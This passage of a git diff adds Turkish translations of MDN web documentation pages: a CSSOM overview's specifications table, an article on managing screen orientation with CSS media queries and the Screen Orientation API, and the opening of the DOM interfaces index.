<li><a href="https://developer.mozilla.org/en-US/docs/WebAPI/Managing_screen_orientation">Ekran oryantasyonunun yönetilmesi</a></li> +</ul> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("CSS Typed OM")}}</td> + <td>{{Spec2("CSS Typed OM")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS Painting API")}}</td> + <td>{{Spec2("CSS Painting API")}}</td> + <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td> + </tr> + <tr> + <td>{{SpecName("CSSOM View")}}</td> + <td>{{Spec2("CSSOM View")}}</td> + <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td> + </tr> + <tr> + <td>{{SpecName("CSSOM")}}</td> + <td>{{Spec2("CSSOM")}}</td> + <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td> + </tr> + <tr> + <td>{{SpecName("Screen Orientation")}}</td> + <td>{{Spec2("Screen Orientation")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Fonts")}}</td> + <td>{{Spec2("CSS3 Fonts")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Animations")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Transitions")}}</td> + <td>{{Spec2("CSS3 Transitions")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Variables")}}</td> + <td>{{Spec2("CSS3 Variables")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Conditional")}}</td> + <td>{{Spec2("CSS3 Conditional")}}</td> + <td>{{DOMxRef("CSS")}} arayüzü tanımlandı.</td> + </tr> + <tr> + <td>{{SpecName("CSS3 Device")}}</td> + <td>{{Spec2("CSS3 Device")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("CSS3 Counter Styles")}}</td> + <td>{{Spec2("CSS3 Counter Styles")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 Style")}}</td> + <td>{{Spec2("DOM2 Style")}}</td> + <td>İlk tanımlama.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>Tüm bu özellikler yıllar içinde azar azar farklı tarayıcılara eklendi: Basit bir tabloyla özetlenemeyecek kadar karmaşık bir süreç olduğundan lütfen kullanılabilirlik için belirli arayüzlere bakın.</p> + +<h2 id="Ayrıca_Bkz.">Ayrıca Bkz.</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM)</a></li> +</ul> diff --git a/files/tr/web/api/css_object_model/managing_screen_orientation/index.html b/files/tr/web/api/css_object_model/managing_screen_orientation/index.html new file mode 100644 index 0000000000..c02e0c1215 --- /dev/null +++ b/files/tr/web/api/css_object_model/managing_screen_orientation/index.html @@ -0,0 +1,179 @@ +--- +title: Ekran Oryantasyonunu Yönetmek +slug: Web/API/CSS_Object_Model/Managing_screen_orientation +tags: + - API + - CSSOM + - Ekran Konumu + - Ekran Oryantasyonu + - Oryantasyon + - Uzman +translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation +--- +<div>{{DefaultAPISidebar("CSSOM View")}}{{SeeCompatTable}}</div> + +<h2 id="Özet">Özet</h2> + +<p>Ekran oryantasyonu <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">cihaz oryantasyonundan</a> bir miktar farklı bir terim. Cihazın kendi oryantasyonunu tespit etme yeteneği olmasa bile ekranının her zaman bir oryantasyonu vardır. Eğer cihaz bu yeteneğe sahip ise web uygulamasının arayüzünü korumak veya uyarlamak için ekranı yönetme yeteneğine sahip olması faydalı bir özellik.</p> + +<p>Ekran oryantasyonunu yönetebilek için hem CSS'e hem Javascript'e dayanan çeşitli yöntemler mevcut. Bu yöntemlerden ilki <a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">orientation media query CSS </a>kullanarak tarayıcının yatay modda (genişliğin yükseklikten uzun olduğu mod) veya dikey modda (yüksekliğin genişlikten uzun olduğu mod) içeriğin ekrandaki yerleşimini ayarlamasını sağlamak.</p> + +<p>İkinci yöntem ise Javascript Screen orientation API kullanılarak ekranın mevcut oryantasyonun alınması ve sabitlenmesi.</p> + +<h2 id="Oryantasyona_göre_yerleşim_planını_ayarlamak">Oryantasyona göre yerleşim planını ayarlamak</h2> + +<p>Cihazın oryantasyonu değiştiğinde içeriğin ekrandaki yerleşiminin de değişmesi en çok istenilen durumlardan biri. Örneğin buton çubuğunun cihazın oryantasyonu bounca uzamasını istiyoruz. Media query kullanarak kolay ve otomatik bir şekilde yapabiliriz.</p> + +<p>Aşağıdaki HTML kodu üzerinden bir örnek yapalım.</p> + +<pre class="brush: html"><ul id="toolbar"> + <li>A</li> + <li>B</li> + <li>C</li> +</ul> + +<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.</p> +</pre> + +<p>CSS ekranın oryatasyonuna göre çalışacak özel stiller için media query'lere güveniyor.</p> + +<pre class="brush: css">/* Önce ortak stiller tanımlayalım */ + +html, body { + width : 100%; + height: 100%; +} + +body { + border: 1px solid black; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +p { + font : 1em sans-serif; + margin : 0; + padding: .5em; +} + +ul { + list-style: none; + + font : 1em monospace; + margin : 0; + padding: .5em; + + -moz-box-sizing: border-box; + box-sizing: border-box; + + background: black; +} + +li { + display: inline-block; + margin : 0; + padding: 0.5em; + background: white; +} +</pre> + +<p>Ortak stillerimiz hazır olduğuna göre oryantasyona göre çalışacak özel durumları tanımlamaya başlayabiliriz.</p> + +<pre class="brush: css">/* Dikey modda buton çubuğunun üstte olmasını istiyoruz */ + +@media screen and (orientation: portrait) { + #toolbar { + width: 100%; + } +} + +/* Yatay modda buton çubuğunun solda durmasını istiyoruz */ + +@media screen and (orientation: landscape) { + #toolbar { + position: fixed; + width: 2.65em; + height: 100%; + } + + p { + margin-left: 2em; + } + + li + li { + margin-top: .5em; + } +} +</pre> + +<p>Ve sonuç:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Portrait</th> + <th scope="col">Landscape</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</td> + <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Not:</strong> Oryantasyon media query'si tarayıcı penceresinin(veya iframe'in) oryantasyonuna göre bu stilleri çalıştırıyor cihazın oryantasyonuna göre değil.</p> +</div> + +<h2 id="Ekran_oryantasyonunu_sabitlemek">Ekran oryantasyonunu sabitlemek</h2> + +<div class="warning"> +<p><strong>Warning:</strong> Bu API şu anda deneysel bir çalışma ve <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> ile <a href="/en-US/docs/Mozilla/Firefox_for_Android" title="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> 'de <code>moz</code> önekiyle, Windows 8.1 ve üstünde Internet Explorer'larda ise ms önekiyle kullanılabilir durumda.</p> +</div> + +<p>Bazı cihazlar (genellikle mobil cihazlar) kullanıcının kendi ekranındakileri her zaman okuyabileceğine garanti vererek ekran oryantasyonunu kendi oryantasyonuna göre dinamik olarak değiştirebiliyor. Bu davranış içerik metinlerden oluşuyorken çok iyi çalışmasına rağmen oryantasyona bağlı oyun gibi içeriklerde uygulamayı tamamen kullanılmaz hale getirebiliyor.</p> + +<p>Screen Orientation API bu şekilde negatif etkisi olan değişimlerin engellenmesi için geliştirildi.</p> + +<h3 id="Oryantasyon_değişikliğini_dinleme">Oryantasyon değişikliğini dinleme</h3> + +<p>Cihaz oryantasyonunu her değiştirdiğinde {{event("orientationchange")}} event'i tetiklenir ve o anki oryantasyonu {{domxref("Screen.orientation")}} özelliğiyle okunabilir.</p> + +<pre class="brush: js">screen.addEventListener("orientationchange", function () { + console.log("Ekranın oryantasyonu: " + screen.orientation); +}); +</pre> + +<h3 id="Oryantasyon_değişikliğini_engelleme">Oryantasyon değişikliğini engelleme</h3> + +<p>Bir web uygulaması ekranın oryantasyonunu kendi ihityaçlarına uyacak şekilde sabitleyebilir. Ekranın oryantasyonunu sabitlemek için {{domxref("Screen.lockOrientation()")}} metodu kullanılırken sabitlemeyi kaldırmak için ise {{domxref("Screen.unlockOrientation()")}} metodu kullanılabilir.</p> + +<p>{{domxref("Screen.lockOrientation()")}} parametre olarak ekranın nasıl sabitlenmesi gerektiğine göre String (veya birden çok string) parametre alır. Geçerli parametre değerleri: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code> . (Bu değerler hakkında detaylı bilgi için Bkz: {{domxref("Screen.lockOrientation")}}).</p> + +<pre class="brush: js">screen.lockOrientation('landscape');</pre> + +<div class="note"> +<p><strong>Not:</strong>Ekranı sabitlemek web uygulaması bağımlıdır. Eğer uygulama A yatay moda sabitlenmiş ve uygulama B dkey moda sabitlenmiş ise A'dan B'ye ya da B'den A'ya geçildiğinde {{event("orientationchange")}} event'i tetiklenmez. Çünkü ikisi de kendi oryantasyonlarını korumaktadır.</p> + +<p>Ancak oryantasyonu sabitlerken istenen mevcut oryantasyon değişerek sabitlenen oryantasyona geçildiyse {{event("orientationchange")}} event'i tetiklenir.</p> +</div> + +<h2 id="Firefox_OS_ve_Android_Manifest_ile_oryantasyonu_sabitleme">Firefox OS ve Android: Manifest ile oryantasyonu sabitleme</h2> + +<p>Firefox OS ve Firefox Android (yakında Firefox masaüstü de) için oryantasyonu sabitlemenin özel bir yolu uygulamanın manifest dosyasının <a href="/en-US/Apps/Build/Manifest#orientation">orientation </a>alanına istenen oryantasyon modunu yazmak. Örneğin dikey mod için:</p> + +<pre class="brush: json">"orientation": "portrait"</pre> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{domxref("Screen.orientation")}}</li> + <li>{{domxref("Screen.lockOrientation()")}}</li> + <li>{{domxref("Screen.unlockOrientation()")}}</li> + <li>{{domxref("Screen.onorientationchange")}}</li> + <li><a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">The orientation media query</a></li> + <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li> +</ul> diff --git a/files/tr/web/api/document_object_model/index.html b/files/tr/web/api/document_object_model/index.html new file mode 100644 index 0000000000..813aac4a2c --- /dev/null +++ b/files/tr/web/api/document_object_model/index.html @@ -0,0 +1,476 @@ +--- +title: Document Object Model (DOM) +slug: Web/API/Document_Object_Model +tags: + - API + - DOM + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/API/Document_Object_Model +--- +<div>{{DefaultAPISidebar("DOM")}}</div> + +<p>The <strong>Document Object Model (<em>DOM</em>)</strong> connects web pages to scripts or programming languages. Usually that means JavaScript, although modelling HTML, SVG, or XML documents as objects is not part of the JavaScript language, as such.</p> + +<p>The DOM represents a document with a logical tree. Each branch of the tree ends in a node, and each node contains objects. DOM methods allow programmatic access to the tree; with them you can change the document's structure, style, or content. Nodes can also have event handlers attached to them; once an event is triggered, the event handlers get executed.</p> + +<p>An <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">introduction to the DOM</a> is available.</p> + +<h2 id="DOM_interfaces">DOM interfaces</h2> + +<div class="index"> +<ul> + <li>{{DOMxRef("Attr")}}</li> + <li>{{DOMxRef("CDATASection")}}</li> + <li>{{DOMxRef("CharacterData")}}</li> + <li>{{DOMxRef("ChildNode")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("Comment")}}</li> + <li>{{DOMxRef("CustomEvent")}}</li> + <li>{{DOMxRef("Document")}}</li> + <li>{{DOMxRef("DocumentFragment")}}</li> + <li>{{DOMxRef("DocumentType")}}</li> + <li>{{DOMxRef("DOMError")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("DOMException")}}</li> + <li>{{DOMxRef("DOMImplementation")}}</li> + <li>{{DOMxRef("DOMString")}}</li> + <li>{{DOMxRef("DOMTimeStamp")}}</li> + <li>{{DOMxRef("DOMStringList")}}</li> + <li>{{DOMxRef("DOMTokenList")}}</li> + <li>{{DOMxRef("Element")}}</li> + <li>{{DOMxRef("Event")}}</li> + <li>{{DOMxRef("EventTarget")}}</li> + <li>{{DOMxRef("HTMLCollection")}}</li> + <li>{{DOMxRef("MutationObserver")}}</li> + <li>{{DOMxRef("MutationRecord")}}</li> + <li>{{DOMxRef("NamedNodeMap")}}</li> + <li>{{DOMxRef("Node")}}</li> + <li>{{DOMxRef("NodeFilter")}}</li> + <li>{{DOMxRef("NodeIterator")}}</li> + <li>{{DOMxRef("NodeList")}}</li> + <li>{{DOMxRef("NonDocumentTypeChildNode")}}</li> + <li>{{DOMxRef("ParentNode")}}</li> + <li>{{DOMxRef("ProcessingInstruction")}}</li> + <li>{{DOMxRef("Selection")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("Range")}}</li> + <li>{{DOMxRef("Text")}}</li> + <li>{{DOMxRef("TextDecoder")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("TextEncoder")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("TimeRanges")}}</li> + <li>{{DOMxRef("TreeWalker")}}</li> + <li>{{DOMxRef("URL")}}</li> + <li>{{DOMxRef("Window")}}</li> + <li>{{DOMxRef("Worker")}}</li> + <li>{{DOMxRef("XMLDocument")}} {{Experimental_Inline}}</li> +</ul> +</div> + +<h3 id="Obsolete_DOM_interfaces">Obsolete DOM interfaces</h3> + +<p>The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specifications have been removed. It is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided:</p> + +<div class="index"> +<ul> + <li>{{DOMxRef("DocumentTouch")}}</li> + <li>{{DOMxRef("DOMConfiguration")}}</li> + <li>{{DOMxRef("DOMErrorHandler")}}</li> + <li>{{DOMxRef("DOMImplementationList")}}</li> + <li>{{DOMxRef("DOMImplementationRegistry")}}</li> + <li>{{DOMxRef("DOMImplementationSource")}}</li> + <li>{{DOMxRef("DOMLocator")}}</li> + <li>{{DOMxRef("DOMObject")}}</li> + <li>{{DOMxRef("DOMSettableTokenList")}}</li> + <li>{{DOMxRef("DOMUserData")}}</li> + <li>{{DOMxRef("ElementTraversal")}}</li> + <li>{{DOMxRef("Entity")}}</li> + <li>{{DOMxRef("EntityReference")}}</li> + <li>{{DOMxRef("NameList")}}</li> + <li>{{DOMxRef("Notation")}}</li> + <li>{{DOMxRef("TypeInfo")}}</li> + <li>{{DOMxRef("UserDataHandler")}}</li> +</ul> +</div> + +<h2 id="HTML_interfaces">HTML interfaces</h2> + +<p>A document containing HTML is described using the {{DOMxRef("Document")}} interface, which is extended by the HTML specification to include various HTML-specific features.</p> + +<p>An HTML document object also gives access to various features of browsers like the tab or the window, in which a page is drawn using the {{DOMxRef("Window")}} interface, the {{DOMxRef("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{DOMxRef("window.history", "History")}}. Eventually, {{DOMxRef("Selection")}} is done on the document.</p> + +<h3 id="HTML_element_interfaces">HTML element interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("HTMLAnchorElement")}}</li> + <li>{{DOMxRef("HTMLAppletElement")}} {{Obsolete_Inline}}</li> + <li>{{DOMxRef("HTMLAreaElement")}}</li> + <li>{{DOMxRef("HTMLAudioElement")}}</li> + <li>{{DOMxRef("HTMLBaseElement")}}</li> + <li>{{DOMxRef("HTMLBodyElement")}}</li> + <li>{{DOMxRef("HTMLBRElement")}}</li> + <li>{{DOMxRef("HTMLButtonElement")}}</li> + <li>{{DOMxRef("HTMLCanvasElement")}}</li> + <li>{{DOMxRef("HTMLDataElement")}}</li> + <li>{{DOMxRef("HTMLDataListElement")}}</li> + <li>{{DOMxRef("HTMLDialogElement")}}</li> + <li>{{DOMxRef("HTMLDirectoryElement")}}</li> + <li>{{DOMxRef("HTMLDivElement")}}</li> + <li>{{DOMxRef("HTMLDListElement")}}</li> + <li>{{DOMxRef("HTMLElement")}}</li> + <li>{{DOMxRef("HTMLEmbedElement")}}</li> + <li>{{DOMxRef("HTMLFieldSetElement")}}</li> + <li>{{DOMxRef("HTMLFontElement")}}</li> + <li>{{DOMxRef("HTMLFormElement")}}</li> + <li>{{DOMxRef("HTMLFrameElement")}}</li> + <li>{{DOMxRef("HTMLFrameSetElement")}}</li> + <li>{{DOMxRef("HTMLHeadElement")}}</li> + <li>{{DOMxRef("HTMLHeadingElement")}}</li> + <li>{{DOMxRef("HTMLHtmlElement")}}</li> + <li>{{DOMxRef("HTMLHRElement")}}</li> + <li>{{DOMxRef("HTMLIFrameElement")}}</li> + <li>{{DOMxRef("HTMLImageElement")}}</li> + <li>{{DOMxRef("HTMLInputElement")}}</li> + <li>{{DOMxRef("HTMLKeygenElement")}}</li> + <li>{{DOMxRef("HTMLLabelElement")}}</li> + <li>{{DOMxRef("HTMLLegendElement")}}</li> + <li>{{DOMxRef("HTMLLIElement")}}</li> + <li>{{DOMxRef("HTMLLinkElement")}}</li> + <li>{{DOMxRef("HTMLMapElement")}}</li> + <li>{{DOMxRef("HTMLMarqueeElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("HTMLMediaElement")}}</li> + <li>{{DOMxRef("HTMLMenuElement")}}</li> + <li>{{DOMxRef("HTMLMenuItemElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("HTMLMetaElement")}}</li> + <li>{{DOMxRef("HTMLMeterElement")}}</li> + <li>{{DOMxRef("HTMLModElement")}}</li> + <li>{{DOMxRef("HTMLObjectElement")}}</li> + <li>{{DOMxRef("HTMLOListElement")}}</li> + <li>{{DOMxRef("HTMLOptGroupElement")}}</li> + <li>{{DOMxRef("HTMLOptionElement")}}</li> + <li>{{DOMxRef("HTMLOutputElement")}}</li> + <li>{{DOMxRef("HTMLParagraphElement")}}</li> + <li>{{DOMxRef("HTMLParamElement")}}</li> + <li>{{DOMxRef("HTMLPreElement")}}</li> + <li>{{DOMxRef("HTMLProgressElement")}}</li> + <li>{{DOMxRef("HTMLQuoteElement")}}</li> + <li>{{DOMxRef("HTMLScriptElement")}}</li> + <li>{{DOMxRef("HTMLSelectElement")}}</li> + <li>{{DOMxRef("HTMLSourceElement")}}</li> + <li>{{DOMxRef("HTMLSpanElement")}}</li> + <li>{{DOMxRef("HTMLStyleElement")}}</li> + <li>{{DOMxRef("HTMLTableElement")}}</li> + <li>{{DOMxRef("HTMLTableCaptionElement")}}</li> + <li>{{DOMxRef("HTMLTableCellElement")}}</li> + <li>{{DOMxRef("HTMLTableDataCellElement")}}</li> + <li>{{DOMxRef("HTMLTableHeaderCellElement")}}</li> + <li>{{DOMxRef("HTMLTableColElement")}}</li> + <li>{{DOMxRef("HTMLTableRowElement")}}</li> + <li>{{DOMxRef("HTMLTableSectionElement")}}</li> + <li>{{DOMxRef("HTMLTextAreaElement")}}</li> + <li>{{DOMxRef("HTMLTimeElement")}}</li> + <li>{{DOMxRef("HTMLTitleElement")}}</li> + <li>{{DOMxRef("HTMLTrackElement")}}</li> + <li>{{DOMxRef("HTMLUListElement")}}</li> + <li>{{DOMxRef("HTMLUnknownElement")}}</li> + <li>{{DOMxRef("HTMLVideoElement")}}</li> +</ul> +</div> + +<h3 id="Other_interfaces">Other interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("CanvasRenderingContext2D")}}</li> + <li>{{DOMxRef("WebGLRenderingContext")}}</li> + <li>{{DOMxRef("CanvasGradient")}}</li> + <li>{{DOMxRef("CanvasPattern")}}</li> + <li>{{DOMxRef("TextMetrics")}}</li> + <li>{{DOMxRef("ImageData")}}</li> + <li>{{DOMxRef("CanvasPixelArray")}}</li> + <li>{{DOMxRef("NotifyAudioAvailableEvent")}}</li> + <li>{{DOMxRef("HTMLAllCollection")}}</li> + <li>{{DOMxRef("HTMLFormControlsCollection")}}</li> + <li>{{DOMxRef("HTMLOptionsCollection")}}</li> + <li>{{DOMxRef("HTMLPropertiesCollection")}}</li> + <li>{{DOMxRef("DOMStringMap")}}</li> + <li>{{DOMxRef("RadioNodeList")}}</li> + <li>{{DOMxRef("MediaError")}}</li> +</ul> +</div> + +<h3 id="Obsolete_HTML_interfaces">Obsolete HTML interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("HTMLBaseFontElement")}}</li> + <li>{{DOMxRef("HTMLIsIndexElement")}}</li> + <li>{{DOMxRef("HTMLMarqueeElement")}}</li> + <li>{{DOMxRef("HTMLMenuItemElement")}}</li> +</ul> +</div> + +<h2 id="SVG_interfaces">SVG interfaces</h2> + +<h3 id="SVG_element_interfaces">SVG element interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("SVGAElement")}}</li> + <li>{{DOMxRef("SVGAltGlyphElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGAltGlyphDefElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGAltGlyphItemElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGAnimationElement")}}</li> + <li>{{DOMxRef("SVGAnimateElement")}}</li> + <li>{{DOMxRef("SVGAnimateColorElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGAnimateMotionElement")}}</li> + <li>{{DOMxRef("SVGAnimateTransformElement")}}</li> + <li>{{DOMxRef("SVGCircleElement")}}</li> + <li>{{DOMxRef("SVGClipPathElement")}}</li> + <li>{{DOMxRef("SVGColorProfileElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGComponentTransferFunctionElement")}}</li> + <li>{{DOMxRef("SVGCursorElement")}}</li> + <li>{{DOMxRef("SVGDefsElement")}}</li> + <li>{{DOMxRef("SVGDescElement")}}</li> + <li>{{DOMxRef("SVGElement")}}</li> + <li>{{DOMxRef("SVGEllipseElement")}}</li> + <li>{{DOMxRef("SVGFEBlendElement")}}</li> + <li>{{DOMxRef("SVGFEColorMatrixElement")}}</li> + <li>{{DOMxRef("SVGFEComponentTransferElement")}}</li> + <li>{{DOMxRef("SVGFECompositeElement")}}</li> + <li>{{DOMxRef("SVGFEConvolveMatrixElement")}}</li> + <li>{{DOMxRef("SVGFEDiffuseLightingElement")}}</li> + <li>{{DOMxRef("SVGFEDisplacementMapElement")}}</li> + <li>{{DOMxRef("SVGFEDistantLightElement")}}</li> + <li>{{DOMxRef("SVGFEDropShadowElement")}}</li> + <li>{{DOMxRef("SVGFEFloodElement")}}</li> + <li>{{DOMxRef("SVGFEFuncAElement")}}</li> + <li>{{DOMxRef("SVGFEFuncBElement")}}</li> + <li>{{DOMxRef("SVGFEFuncGElement")}}</li> + <li>{{DOMxRef("SVGFEFuncRElement")}}</li> + <li>{{DOMxRef("SVGFEGaussianBlurElement")}}</li> + <li>{{DOMxRef("SVGFEImageElement")}}</li> + <li>{{DOMxRef("SVGFEMergeElement")}}</li> + <li>{{DOMxRef("SVGFEMergeNodeElement")}}</li> + <li>{{DOMxRef("SVGFEMorphologyElement")}}</li> + <li>{{DOMxRef("SVGFEOffsetElement")}}</li> + <li>{{DOMxRef("SVGFEPointLightElement")}}</li> + <li>{{DOMxRef("SVGFESpecularLightingElement")}}</li> + <li>{{DOMxRef("SVGFESpotLightElement")}}</li> + <li>{{DOMxRef("SVGFETileElement")}}</li> + <li>{{DOMxRef("SVGFETurbulenceElement")}}</li> + <li>{{DOMxRef("SVGFilterElement")}}</li> + <li>{{DOMxRef("SVGFilterPrimitiveStandardAttributes")}}</li> + <li>{{DOMxRef("SVGFontElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFontFaceElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFontFaceFormatElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFontFaceNameElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFontFaceSrcElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFontFaceUriElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGForeignObjectElement")}}</li> + <li>{{DOMxRef("SVGGElement")}}</li> + <li>{{DOMxRef("SVGGeometryElement")}}</li> + <li>{{DOMxRef("SVGGlyphElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGGlyphRefElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGGradientElement")}}</li> + <li>{{DOMxRef("SVGGraphicsElement")}}</li> + <li>{{DOMxRef("SVGHatchElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGHatchpathElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGHKernElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGImageElement")}}</li> + <li>{{DOMxRef("SVGLinearGradientElement")}}</li> + <li>{{DOMxRef("SVGLineElement")}}</li> + <li>{{DOMxRef("SVGMarkerElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGMaskElement")}}</li> + <li>{{DOMxRef("SVGMeshElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGMeshGradientElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGMeshpatchElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGMeshrowElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGMetadataElement")}}</li> + <li>{{DOMxRef("SVGMissingGlyphElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGMPathElement")}}</li> + <li>{{DOMxRef("SVGPathElement")}}</li> + <li>{{DOMxRef("SVGPatternElement")}}</li> + <li>{{DOMxRef("SVGPolylineElement")}}</li> + <li>{{DOMxRef("SVGPolygonElement")}}</li> + <li>{{DOMxRef("SVGRadialGradientElement")}}</li> + <li>{{DOMxRef("SVGRectElement")}}</li> + <li>{{DOMxRef("SVGScriptElement")}}</li> + <li>{{DOMxRef("SVGSetElement")}}</li> + <li>{{DOMxRef("SVGSolidcolorElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGStopElement")}}</li> + <li>{{DOMxRef("SVGStyleElement")}}</li> + <li>{{DOMxRef("SVGSVGElement")}}</li> + <li>{{DOMxRef("SVGSwitchElement")}}</li> + <li>{{DOMxRef("SVGSymbolElement")}}</li> + <li>{{DOMxRef("SVGTextContentElement")}}</li> + <li>{{DOMxRef("SVGTextElement")}}</li> + <li>{{DOMxRef("SVGTextPathElement")}}</li> + <li>{{DOMxRef("SVGTextPositioningElement")}}</li> + <li>{{DOMxRef("SVGTitleElement")}}</li> + <li>{{DOMxRef("SVGTRefElement")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGTSpanElement")}}</li> + <li>{{DOMxRef("SVGUseElement")}}</li> + <li>{{DOMxRef("SVGUnknownElement")}} {{Experimental_Inline}}</li> + <li>{{DOMxRef("SVGViewElement")}}</li> + <li>{{DOMxRef("SVGVKernElement")}} {{Deprecated_Inline}}</li> +</ul> +</div> + +<h3 id="SVG_data_type_interfaces">SVG data type interfaces</h3> + +<p>Here are the DOM APIs for data types used in the definitions of SVG properties and attributes.</p> + +<div class="note"> +<p><strong>Note:</strong> Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed; in addition, they have a length property indicating the number of items in the lists: {{DOMxRef("SVGLengthList")}}, {{DOMxRef("SVGNumberList")}}, {{DOMxRef("SVGPathSegList")}}, and {{DOMxRef("SVGPointList")}}.</p> +</div> + +<h4 id="Static_type">Static type</h4> + +<div class="index"> +<ul> + <li>{{DOMxRef("SVGAngle")}}</li> + <li>{{DOMxRef("SVGColor")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGICCColor")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGElementInstance")}}</li> + <li>{{DOMxRef("SVGElementInstanceList")}}</li> + <li>{{DOMxRef("SVGLength")}}</li> + <li>{{DOMxRef("SVGLengthList")}}</li> + <li>{{DOMxRef("SVGMatrix")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGNameList")}}</li> + <li>{{DOMxRef("SVGNumber")}}</li> + <li>{{DOMxRef("SVGNumberList")}}</li> + <li>{{DOMxRef("SVGPaint")}}</li> + <li>{{DOMxRef("SVGPathSeg")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegClosePath")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegMovetoAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegMovetoRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoRel")}} {{Deprecated_Inline}}</li> + 